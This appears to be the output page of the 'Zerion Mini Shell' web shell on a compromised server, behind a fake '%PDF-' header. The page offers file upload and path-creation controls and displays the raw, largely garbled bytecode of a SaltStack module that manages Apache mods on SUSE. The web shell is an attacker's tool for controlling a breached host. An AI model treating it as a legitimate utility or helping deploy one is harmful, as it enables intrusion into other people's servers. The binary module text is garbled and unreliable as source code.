%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/modules/suse_apache.pyo

�
���^c@@swdZddlmZmZmZddlZddlZeje	�Z
dZd�Zd�Z
d�Zd�ZdS(	u�
Support for Apache

Please note: The functions in here are SUSE-specific. Placing them in this
separate file will allow them to load only on SUSE systems, while still
loading under the ``apache`` namespace.
i(tabsolute_importtunicode_literalstprint_functionNuapachecC@s3tjjjd�r)tddkr)tStdfS(u6
    Only load the module if apache is installed.
    u
apache2ctlu	os_familyuSuseu9apache execution module not loaded: apache not installed.(tsalttutilstpathtwhicht
__grains__t__virtualname__tFalse(((s</usr/lib/python2.7/site-packages/salt/modules/suse_apache.pyt__virtual__s%cC@s{|jd�s|jd�r+|d }n|}d}y#td|dt�jd�}Wntk
rp}|SX||kS(u
    Checks to see if the specific apache mod is enabled.

    This will only be functional on operating systems that support
    `a2enmod -l` to list the enabled mods.

    CLI Example:

    .. code-block:: bash

        salt '*' apache.check_mod_enabled status
    u.loadu.confi����u
a2enmod -lucmd.runtpython_shellu (tendswitht__salt__R	tsplitt	Exception(tmodtmod_nametcmdtactive_modste((s</usr/lib/python2.7/site-packages/salt/modules/suse_apache.pytcheck_mod_enableds

#cC@s�i}d|g}ytd|dt�}Wntk
rB}|SXd|d<||d<|dkrydj|�|d	<n,|d
kr�dj|�|d	<n
||d	<|S(u�
    Runs a2enmod for the given mod.

    CLI Example:

    .. code-block:: bash

        salt '*' apache.a2enmod vhost_alias
    ua2enmoducmd.retcodeRuApache2 Enable ModuNameuModiuMod {0} Not founduStatusiuMod {0} enabled(R
R	Rtformat(RtrettcommandtstatusR((s</usr/lib/python2.7/site-packages/salt/modules/suse_apache.pyta2enmod:s



cC@s�i}d|g}ytd|dt�}Wntk
rB}|SXd|d<||d<|dkrydj|�|d	<n,|d
kr�dj|�|d	<n
||d	<|S(u�
    Runs a2dismod for the given mod.

    CLI Example:

    .. code-block:: bash

        salt '*' apache.a2dismod vhost_alias
    ua2dismoducmd.retcodeRuApache2 Disable ModuNameuModiuMod {0} Not founduStatusiuMod {0} disabled(R
R	RR(RRRRR((s</usr/lib/python2.7/site-packages/salt/modules/suse_apache.pyta2dismodYs



(t__doc__t
__future__RRRtloggingtsalt.utils.pathRt	getLoggert__name__tlogRR
RRR(((s</usr/lib/python2.7/site-packages/salt/modules/suse_apache.pyt<module>s				

Zerion Mini Shell 1.0